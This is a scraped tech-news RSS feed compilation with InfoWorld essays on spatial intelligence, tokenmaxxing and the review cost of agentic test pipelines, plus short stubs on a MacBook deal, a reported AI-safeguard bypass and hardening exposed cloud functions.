<p class="wp-block-paragraph">The forward deployed engineers are solving real problems. Enterprises genuinely struggle with AI deployment, and having experienced engineers available to help is valuable. I’m not suggesting these programs are fundamentally bad. However, they’re being marketed as neutral partnerships when they’re actually strategic sales programs designed to lock enterprises into specific platforms. The helpful engineers showing up at your office are building dependencies that will be very difficult to break. The “free” technical assistance is being funded by margins on services you’ll be buying for years.</p>



<p class="wp-block-paragraph">Go in with your eyes open. Use these programs but add your own independent oversight. Build architectures that you could leave if you needed to. And don’t let the immediate satisfaction of having problems solved today blind you to the financial consequences that will arrive tomorrow.</p>
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<title><![CDATA[The rise of spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
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<title><![CDATA[From story points to tokenmaxxing: Why engineering keeps measuring the wrong things]]></title>
<description><![CDATA[For decades, software engineering has been plagued by “productivity theater.” Every few years, the industry aligns around a new vanity metric — usually one that latches onto whatever technology happens to be in vogue at the time. For a discipline rooted in creativity and problem-solving, this is ...]]></description>
<link>https://tsecurity.de/de/3671158/ai-nachrichten/from-story-points-to-tokenmaxxing-why-engineering-keeps-measuring-the-wrong-things/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671158/ai-nachrichten/from-story-points-to-tokenmaxxing-why-engineering-keeps-measuring-the-wrong-things/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:30 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For decades, software engineering has been plagued by “productivity theater.” Every few years, the industry aligns around a new vanity metric — usually one that latches onto whatever technology happens to be in vogue at the time. For a discipline rooted in creativity and problem-solving, this is a poor way to demonstrate progress. Yet, we find ourselves in this position once again. The pattern is often the same: reach for something we can easily count, and in doing so, lose sight of what we are actually trying to achieve.</p>



<h2 class="wp-block-heading">Quantity over quality: the wrong measurement, every time</h2>



<p class="wp-block-paragraph">I recall when I was coming up as a software engineer in the 1990s, a small number of companies took up the practice of paying their engineers by each line of code. This may have been productivity theater at its worst, leading to negative incentives, inefficient processes, and just generally bad engineering. Developers were rewarded for writing far more code than the problems they were facing required — classic “quantity over quality” — and the result was bloated, brittle codebases that were all but impossible to maintain. The goal — to create reliable software that solved real user problems — got buried under the incentive to produce.</p>



<p class="wp-block-paragraph">Then in the 2000s, <a href="https://www.atlassian.com/agile/project-management/estimation" data-type="link" data-id="https://www.atlassian.com/agile/project-management/estimation">the rise of Agile brought us story points</a>, an abstract way to estimate task complexity, effort, and risk relative to other work. Rather than answering “How long will this take?,” story points were meant to answer, “How big is this compared to what we’ve done before?” This approach sounds good in theory, but in practice, some development teams learned to game the system by inflating estimates, over-engineering solutions to look productive, and losing sight of whether the work they produced actually created value. Once again, the metric became the goal, and the actual goal — delivering outcomes that mattered to the business — became secondary.</p>



<p class="wp-block-paragraph">Every one of these metrics failed for the same reason: they measured effort instead of value.</p>



<h2 class="wp-block-heading">Quantity in the age of AI</h2>



<p class="wp-block-paragraph">Today, “<a href="https://www.infoworld.com/article/4183060/the-tokenmaxxing-backlash-is-coming.html">tokenmaxxing</a>,” a trend in which developers and teams optimize for <a href="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html" data-type="link" data-id="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html">consuming as many AI model tokens as possible</a>, treats raw consumption as an equivalent for output. As I see it, this is the latest flawed productivity metric to make its way into the world of software engineering. Tokenmaxxing is nothing more than another vanity metric, and is just as useless as using “lines of code” or inflated “story points” as a benchmark.</p>



<p class="wp-block-paragraph">Tokenmaxxing is the result of a few different behaviors, including:</p>



<ul class="wp-block-list">
<li>Prompt flooding: stuffing massive codebases, documentation, and context into every prompt, burning tokens on context the model doesn’t actually need.</li>



<li>Agent swarms: running multiple AI agents in parallel to maximize code output, regardless of whether the work is coordinated or coherent.</li>



<li>Background loops: keeping AI sessions or agents running continuously in the background, racking up token spend without clear ownership of what is being produced — or why.</li>
</ul>



<p class="wp-block-paragraph"><br>Now, it is no secret that AI is reshaping how software is developed, and these behaviors are the result of that reshaping. Providing AI with codebases, running multiple agents at once, and even relying on coding assistants for help all have their uses. But when we lose control of the changes we are making and why we are making them, we find ourselves facing a new version of the same old problem: measuring engineering productivity with the wrong metrics.</p>



<p class="wp-block-paragraph">A more useful question to ask isn’t, “How many tokens did we spend?” but rather, “What problem did we actually solve, and for whom?”</p>



<h2 class="wp-block-heading">Spending resources without goals</h2>



<p class="wp-block-paragraph">Yes, AI is giving software engineers the ability to do more with less, to move quickly, and to experiment in ways that were previously out of reach. But leaning on AI to <em>perform</em> productivity, rather than <em>deliver</em> it, is a trap that will cost us in code quality, team capability, and business credibility.</p>



<p class="wp-block-paragraph">As a CTO, I am all for experimenting with AI. I want to use it to make our programs better, stronger, and future-proof. What I don’t want is for it to drive us toward excess while leaving us with little to show for it.</p>



<p class="wp-block-paragraph">The test I keep coming back to is simple: does this AI-generated output help us ship something that matters? Does it reduce friction for a user, close a gap in a workflow, or improve reliability for a customer? If the answer isn’t clear, then we are spending resources — both human and computational — without a defined goal. And that is not engineering. That is activity.</p>



<h2 class="wp-block-heading">Spec-driven development: where value gets defined</h2>



<p class="wp-block-paragraph">It is time to adopt newer approaches like <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development-how-to-choose.html" data-type="link" data-id="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development-how-to-choose.html">spec-driven development</a>, a method where engineers write detailed specifications first and AI generates code against them. Rather than relying on prompt flooding and agent swarms and hoping AI produces the best result, we need to shift toward defining requirements, reviewing AI-generated output, and orchestrating systems with intent.</p>



<p class="wp-block-paragraph">But spec-driven development is <a href="https://www.augmentcode.com/guides/what-is-spec-driven-development" data-type="link" data-id="https://www.augmentcode.com/guides/what-is-spec-driven-development">more than a methodology</a>. It is the place where engineering intent and business value get defined together. The spec is where you answer, “Why does this matter, and what problem are we solving?” before a single token gets spent.</p>



<p class="wp-block-paragraph">Software engineers have long taken pride in writing elegant code, and I would hate to see AI cheapen that pride rather than elevate it. In an AI-first world, the craft shouldn’t disappear; it should simply move upstream. The spec is where elegance lives now, and it deserves the same attention to detail we once reserved for the code itself.</p>



<p class="wp-block-paragraph">At its core, software engineering is about defining, analyzing, and resolving technical challenges. If we are willingly giving all of that up to AI, we will lose the integrity of our discipline and the ability to prove our value. Using the maximum number of tokens to produce code isn’t impressive. Using a well-crafted, intentional prompt to solve a specific problem? That’s the work worth celebrating.</p>



<h2 class="wp-block-heading">Stop performing productivity and start delivering it</h2>



<p class="wp-block-paragraph">We are at an inflection point. Many organizations are defaulting to activity-based metrics, measuring how much AI is being used rather than whether it is improving delivery, product quality, or business outcomes.</p>



<p class="wp-block-paragraph">The question worth asking is not, “How much AI did we use this sprint?” It is “What value did we deliver for our users, our team, or our business?” Was it the ability to resolve a critical bug more quickly? Reduced cycle time on a high-value feature? A customer workflow that now takes minutes instead of hours? Those are outcomes. Those are the things worth measuring.</p>



<p class="wp-block-paragraph">AI can help us deliver meaningful outcomes faster, but only if we use it with the same rigor and intent we expect from every other engineering or business decision. Don’t let it become another form of productivity theater. The most successful engineering organizations in the age of AI won’t be the ones that consumed the most tokens, they’ll be the organizations that never lost sight of why they were building in the first place.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[What 80% AI-written test pipelines actually cost]]></title>
<description><![CDATA[The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?



After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the typing, not eighty percent o...]]></description>
<link>https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?</p>



<p class="wp-block-paragraph">After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the <em>typing</em>, not eighty percent of the <em>engineering</em>. The remaining twenty was where the work still lived. Budgeting for two percent of leftover effort was the mistake. When the real number was closer to thirty, that gap was the difference between a pipeline that shipped and one that quietly built up a queue of half-trusted features nobody could rely on.</p>



<p class="wp-block-paragraph">This piece is about that gap. As an independent research project on LLM-augmented testing methodology, I built a six-stage agentic pipeline that takes a design in Figma and produces running tests in WebDriverIO, connected end to end over the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. It works. It has been useful. And the parts that broke surprised me, because they were not the parts the hype cycle tells you to worry about.</p>



<h2 class="wp-block-heading">How I wired a six-stage pipeline over one protocol</h2>



<p class="wp-block-paragraph">The pipeline runs six stages in sequence, each owned by a different agent, with every handoff crossing MCP.</p>



<p class="wp-block-paragraph">Six-stage agentic test pipeline: design capture → requirements writer → ticket opener → code generator → test-case writer → automation generator. Each stage carries an MCP handoff and a provenance stamp.</p>



<p class="wp-block-paragraph">The end-to-end trace links a pull request back to a Jira ticket, a requirements section and a Figma frame. Each artifact is stamped with the agent that produced it, the model it used and the inputs it was given.</p>



<p class="wp-block-paragraph">MCP is the boring middle that makes any of this work. The cliché is that MCP is “USB-C for AI”: one open protocol, any tool. Like most analogies, it is about eighty percent right. The part that matters is the eighty: I do not have to write a custom adapter for every system the agent talks to. One MCP server per tool and every agent talks to all of them the same way.</p>



<p class="wp-block-paragraph"><strong>Typed handoffs between agents are my own architecture, layered on top of MCP rather than provided by it.</strong> Each agent writes a typed artifact the next agent reads. Each handoff is logged with provenance. When something went wrong six stages in, I could replay the chain. Without that discipline, a multi-agent pipeline is a debugger’s worst day. You know the test plan is wrong. You cannot tell whether the mistake came from the Figma read, the requirements interpretation or the ticket scaffolding. With it, I could point at exactly which stage went sideways and which inputs it was looking at when it did. The pattern lives in a <a href="https://github.com/SuneetMalhotra/agent-harness">public MIT-licensed reference implementation</a> for any reader who wants to run it.</p>



<p class="wp-block-paragraph"><strong>The sixteen-minute number is the marketing number.</strong> I ran the full chain end to end in about sixteen minutes on a synthetic net-new screen, Figma in, automation suite out. That repeated across my runs; it is not a demo trick. But sixteen minutes is the part of the story most fun to tell and least useful to learn from. It is what gets quoted in the all-hands. The hours that come after, when a human reviews each handoff, are where the work actually lives.</p>



<h2 class="wp-block-heading">What actually broke in production-style runs</h2>



<p class="wp-block-paragraph">The failures that stalled my pipeline were rarely the ones I expected.</p>



<p class="wp-block-paragraph">I expected hallucinated APIs. I got them: the agent confidently called endpoint names that sounded right but did not exist. I expected sparse-spec-in, sparse-spec-out, where a Figma frame with no annotations produced a requirements doc with vague acceptance criteria, every time. I expected locator drift, the common UI-automation failure mode where a renamed component silently breaks an entire test suite. There is solid <a href="https://martinfowler.com/articles/nonDeterminism.html">outside writing on non-determinism in tests</a> covering this whole family of failure modes, and the agent inherited every one.</p>



<p class="wp-block-paragraph">What I did not expect, and what kept the pipeline down longer than any of the above, was the plumbing.</p>



<p class="wp-block-paragraph">The model backend timed out under load. It lost credentials silently and started returning empty strings, which the agent then read as confidence. A duplicate consumer on a shared long-poll API endpoint produced an HTTP 409 conflict that broke delivery without throwing anything visible. One unguarded exception inside one agent aborted a whole shared scheduler run and took the other agents in the registry down with it. The single worst incident cost me three hours to find. An environment variable had silently rotated overnight; every agent in the fleet was returning structurally valid but semantically empty requirements docs; the downstream stages were dutifully generating tests against nothing.</p>



<p class="wp-block-paragraph">None of those are model bugs. They are infrastructure. The agent literature, which is what I went looking through when I started this work, mostly does not talk about them.</p>



<p class="wp-block-paragraph">The fix was not better prompts. It was <a href="https://martinfowler.com/bliki/CircuitBreaker.html">circuit-breaker-style</a> review checkpoints between stages and what I now call <strong>the four-guard discipline</strong>: four small guards I consider non-negotiable on any unattended agentic pipeline. The bulkhead pattern from microservices is the most consequential. An unhandled exception inside one agent can no longer abort the shared run; the offending agent fails fast with a structured error and the others keep going. Paired with that, a pure-data fallback ensures a model timeout produces a deterministic output explicitly marked as degraded mode, rather than an empty string the next stage will misread as confidence. A single-owner lease sits on every shared external endpoint, the cure for the duplicate-consumer incident that ate one of my Sunday afternoons. The cheapest guard was the last to arrive: a one-line synthetic canary every agent has to produce a known correct response to before any real work begins, so a credentials rotation or silent backend failure trips an alert before downstream stages have generated artifacts against garbage.</p>



<p class="wp-block-paragraph">None of these guards is novel. They are textbook stability patterns at a new boundary: the seam between the LLM agent and the rest of the system, which most of the existing agent literature still treats as a solved problem.</p>



<h2 class="wp-block-heading">The 20% you don’t see, and when not to do this</h2>



<p class="wp-block-paragraph">Here is the part the demo videos leave out. Even when the pipeline works, the human time per stage does not go to zero.</p>



<p class="wp-block-paragraph">Human review time per ticket across five pipeline stages: code review 60-180 min, automation review and flaky-fix loop 30-90 min, ticket architecture and sequencing 30-60 min, test data and environment 15-30 min, requirements review 20-30 min. Net: the human still spends 20-30% of the original effort, almost all of it reviewing rather than creating.</p>



<p class="wp-block-paragraph"><strong>Net of all that, the human still spends twenty to thirty percent of the original effort, almost all of it reviewing rather than creating.</strong> The pipeline saves seventy to eighty percent, not ninety-eight. The trap is budgeting for the two percent you do not save.</p>



<p class="wp-block-paragraph">When does this kind of pipeline make sense? In my experience, when the Figma is richly annotated and acceptance criteria are clear up front; when there is review capacity to absorb the work the pipeline shifts onto humans; when the stack is well represented in the training data; and when the feature is net-new rather than a deep edit of legacy code. When does it not? When the design lives on a whiteboard. When the integration touches old code with hidden contracts. When the path is regulated or safety-critical. When there is no senior reviewer who can hold the line. When the work is exploratory and writing the spec is the actual point of the exercise.</p>



<p class="wp-block-paragraph">Teams I have seen succeed with agentic pipelines budget for the rework explicitly, staff the review queue and treat the saved hours as capacity for harder problems rather than headcount they can release. Teams I have seen struggle did the opposite: declared victory at the demo and quietly accumulated a backlog of half-trusted features the next quarter had to clean up.</p>



<p class="wp-block-paragraph">The right unit of measurement is not how much the pipeline generates. It is how much of what it generates a human still has to touch before you would ship it. Call it <strong>the 80/20 rework rule</strong>: measure the rework, not the generation. The teams that get the rework number right are the ones whose AI investments compound. The teams that stop counting at the headline percentage are the ones that own the cleanup six months later.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong><u>Want to join?</u></strong></a></p>
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<title><![CDATA[Save $150 on Apple's 1TB M5 MacBook Air at Amazon]]></title>
<description><![CDATA[Amazon is knocking $150 off 1TB 13-inch MacBook Air M5 models, available with 16GB or 24GB of RAM.Save $150 on 1TB 13-inch MacBook Air models - Image credit: AppleThe $150 markdown can be found on two 13-inch MacBook Air models, each with 1TB of storage. With the discount, the M5/16GB/1TB option ...]]></description>
<link>https://tsecurity.de/de/3671062/ios-mac-os/save-150-on-apples-1tb-m5-macbook-air-at-amazon/</link>
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<pubDate>Wed, 15 Jul 2026 16:57:05 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon is knocking $150 off 1TB 13-inch MacBook Air M5 models, available with 16GB or 24GB of RAM.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68257-143884-m5-macbook-air-150-discount-xl.jpg" alt="MacBook Air laptop with abstract blue display pattern on a gradient blue and red background, overlaid with large white text reading SAVE $150 indicating a promotional discount offer" height="720"><br><span>Save $150 on 1TB 13-inch MacBook Air models - Image credit: Apple</span></div><br>The $150 markdown can be found on two 13-inch MacBook Air models, each with 1TB of storage. With the discount, the M5/16GB/1TB option is <a href="https://www.amazon.com/dp/B0GR1FSY63/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank"><strong>now $1,449</strong></a>, while the 24GB option is <a href="https://www.amazon.com/dp/B0GR11MSHY/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank"><strong>marked down to $1,649</strong></a>.<br><br><a href="https://www.amazon.com/dp/B0GR1FSY63/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" class="deal-highlight">Save $150 on 1TB MacBook Air M5</a><br><br><br> <a href="https://appleinsider.com/articles/26/07/15/save-150-on-apples-1tb-m5-macbook-air-at-amazon?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244964?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Fable 5 umgeht Schutz: KI hilft weiter bei Cyberangriffen - Security-Insider]]></title>
<description><![CDATA[Nach Angaben des Herstellers mit neuen Sicherheitsrichtlinien, die verhindern, dass Mythos 5 und Fable 5 für Cyberangriffe missbraucht wird. Ein ...]]></description>
<link>https://tsecurity.de/de/3671032/it-security-nachrichten/fable-5-umgeht-schutz-ki-hilft-weiter-bei-cyberangriffen-security-insider/</link>
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<pubDate>Wed, 15 Jul 2026 16:55:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nach Angaben des Herstellers mit neuen Sicherheitsrichtlinien, die verhindern, dass Mythos 5 und Fable 5 für Cyberangriffe missbraucht wird. Ein ...]]></content:encoded>
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<title><![CDATA[Stop Using If-Else Chains: Use the Registry Pattern in Python Instead]]></title>
<description><![CDATA[Learn a cleaner, more extensible way to dispatch logic in Python.]]></description>
<link>https://tsecurity.de/de/3670944/ai-nachrichten/stop-using-if-else-chains-use-the-registry-pattern-in-python-instead/</link>
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<pubDate>Wed, 15 Jul 2026 16:19:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
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<content:encoded><![CDATA[Learn a cleaner, more extensible way to dispatch logic in Python.]]></content:encoded>
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<title><![CDATA[The Risk of Exposed Cloud Functions and How to Harden]]></title>
<description><![CDATA[Written by: Corné de Jong

Introduction 
Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-par...]]></description>
<link>https://tsecurity.de/de/3670891/it-security-nachrichten/the-risk-of-exposed-cloud-functions-and-how-to-harden/</link>
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<pubDate>Wed, 15 Jul 2026 16:08:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Corné de Jong</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-party packages, making them targets for a wide range of application-level attacks, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Local and Remote File Inclusion (LFI/RFI)</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Command Injection</span></p>
</li>
</ul>
<p><span>Successful exploitation of these vulnerabilities can grant an attacker full control over the underlying container instance. Such access can serve as a foothold that may ultimately lead to a full compromise of the victim’s cloud environment.</span></p>
<p><span>Based on lessons learned in customer engagements, in this blog post we describe attack scenarios and provide actionable guidance on how to secure serverless environments. While this analysis focuses on hardening strategies for Google Cloud Run services and functions that must remain publicly accessible, these principles apply universally to any public serverless deployment.</span></p>
